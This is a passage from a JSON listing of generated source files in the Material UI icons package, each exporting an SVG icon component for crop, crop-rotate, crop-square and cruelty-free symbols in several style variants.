    "path": "packages/mui-icons-material/lib/CropRotateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V8c0-1.11-.9-2-2-2h-6v2h6zm-8 2V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2v-2h2v-2z\"\n}), 'CropRotateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9v5h2V8c0-1.1-.9-2-2-2h-6v2h5c.55 0 1 .45 1 1m3 7H9c-.55 0-1-.45-1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-.55 0-1 .45-1 1s.45 1 1 1h1v8c0 1.1.9 2 2 2h8v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1M17.66 1.4C15.99.51 13.83-.11 11.39.04l3.81 3.81 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.8-2.96-7-6.24-8.74M7.47 21.49c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.67.89 3.83 1.51 6.27 1.36L8.8 20.16z\"\n}), 'CropRotateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9v5h2V8c0-1.1-.9-2-2-2h-6v2h5c.55 0 1 .45 1 1m3 7H9c-.55 0-1-.45-1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-.55 0-1 .45-1 1s.45 1 1 1h1v8c0 1.1.9 2 2 2h8v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1M17.66 1.4C15.99.51 13.83-.11 11.39.04l3.81 3.81 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.8-2.96-7-6.24-8.74M7.47 21.49c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.67.89 3.83 1.51 6.27 1.36L8.8 20.16z\"\n}), 'CropRotateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V6h-8v2h6zm-8 2V4H6v2H4v2h2v10h10v2h2v-2h2v-2z\"\n}), 'CropRotateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V6h-8v2h6zm-8 2V4H6v2H4v2h2v10h10v2h2v-2h2v-2z\"\n}), 'CropRotateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.95 24c.23 0 .44-.02.66-.03L8.8 20.15l-1.33 1.34C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11m.1-24c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 6h-6v2h6v6h2V8c0-1.11-.9-2-2-2m2 12h2v-2H8V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2z\"\n}), 'CropRotateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.95 24c.23 0 .44-.02.66-.03L8.8 20.15l-1.33 1.34C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11m.1-24c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 6h-6v2h6v6h2V8c0-1.11-.9-2-2-2m2 12h2v-2H8V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2z\"\n}), 'CropRotateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h7c.55 0 1 .45 1 1zm-9 2c-.55 0-1-.45-1-1V2c0-.55-.45-1-1-1s-1 .45-1 1v3H2c-.55 0-1 .45-1 1s.45 1 1 1h3v10c0 1.1.9 2 2 2h10v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'CropRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h7c.55 0 1 .45 1 1zm-9 2c-.55 0-1-.45-1-1V2c0-.55-.45-1-1-1s-1 .45-1 1v3H2c-.55 0-1 .45-1 1s.45 1 1 1h3v10c0 1.1.9 2 2 2h10v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'CropRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15h2V5H9v2h8zM7 17V1H5v4H1v2h4v12h12v4h2v-4h4v-2z\"\n}), 'CropSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15h2V5H9v2h8zM7 17V1H5v4H1v2h4v12h12v4h2v-4h4v-2z\"\n}), 'CropSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquare');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquare');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'CropSquareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 14H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'CropSquareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v16h16zm-2 14H6V6h12z\"\n}), 'CropSquareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v16h16zm-2 14H6V6h12z\"\n}), 'CropSquareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropSquareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H6V6h12z\"\n}), 'CropSquareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17c0 1.1.9 2 2 2h10v4h2v-4h4v-2H7V1H5v4H1v2h4zm14-2V7c0-1.1-.9-2-2-2H9v2h8v8z\"\n}), 'CropTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17c0 1.1.9 2 2 2h10v4h2v-4h4v-2H7V1H5v4H1v2h4zm14-2V7c0-1.1-.9-2-2-2H9v2h8v8z\"\n}), 'CropTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFree.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFree.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 14c-.24-.24-.44-.49-.65-.75C17.51 11.5 19 8.56 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.56 1.49 6.5 2.65 8.25-.21.26-.41.51-.65.75-.25.25-2 1.39-2 3.5C5 19.98 7.02 22 9.5 22c1.5 0 2.5-.5 2.5-.5s1 .5 2.5.5c2.48 0 4.5-2.02 4.5-4.5 0-2.11-1.75-3.25-2-3.5m-.12-9.97c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m7.5 15c-1 0-1.8-.33-2.22-.56.42-.18.72-.71.72-.94 0-.28-.45-.5-1-.5s-1 .22-1 .5c0 .23.3.76.72.94-.42.23-1.22.56-2.22.56C8.12 20 7 18.88 7 17.5c0-.7.43-1.24 1-1.73.44-.36.61-.52 1.3-1.37.76-.95 1.09-1.4 2.7-1.4s1.94.45 2.7 1.4c.69.85.86 1.01 1.3 1.37.57.49 1 1.03 1 1.73 0 1.38-1.12 2.5-2.5 2.5m-.5-4c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75m-3 0c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75\"\n}), 'CrueltyFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 14c-.24-.24-.44-.49-.65-.75C17.51 11.5 19 8.56 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.56 1.49 6.5 2.65 8.25-.21.26-.41.51-.65.75-.25.25-2 1.39-2 3.5C5 19.98 7.02 22 9.5 22c1.5 0 2.5-.5 2.5-.5s1 .5 2.5.5c2.48 0 4.5-2.02 4.5-4.5 0-2.11-1.75-3.25-2-3.5m-.12-9.97c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m7.5 15c-1 0-1.8-.33-2.22-.56.42-.18.72-.71.72-.94 0-.28-.45-.5-1-.5s-1 .22-1 .5c0 .23.3.76.72.94-.42.23-1.22.56-2.22.56C8.12 20 7 18.88 7 17.5c0-.7.43-1.24 1-1.73.44-.36.61-.52 1.3-1.37.76-.95 1.09-1.4 2.7-1.4s1.94.45 2.7 1.4c.69.85.86 1.01 1.3 1.37.57.49 1 1.03 1 1.73 0 1.38-1.12 2.5-2.5 2.5m-.5-4c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75m-3 0c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75\"\n}), 'CrueltyFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeSharp.mjs",
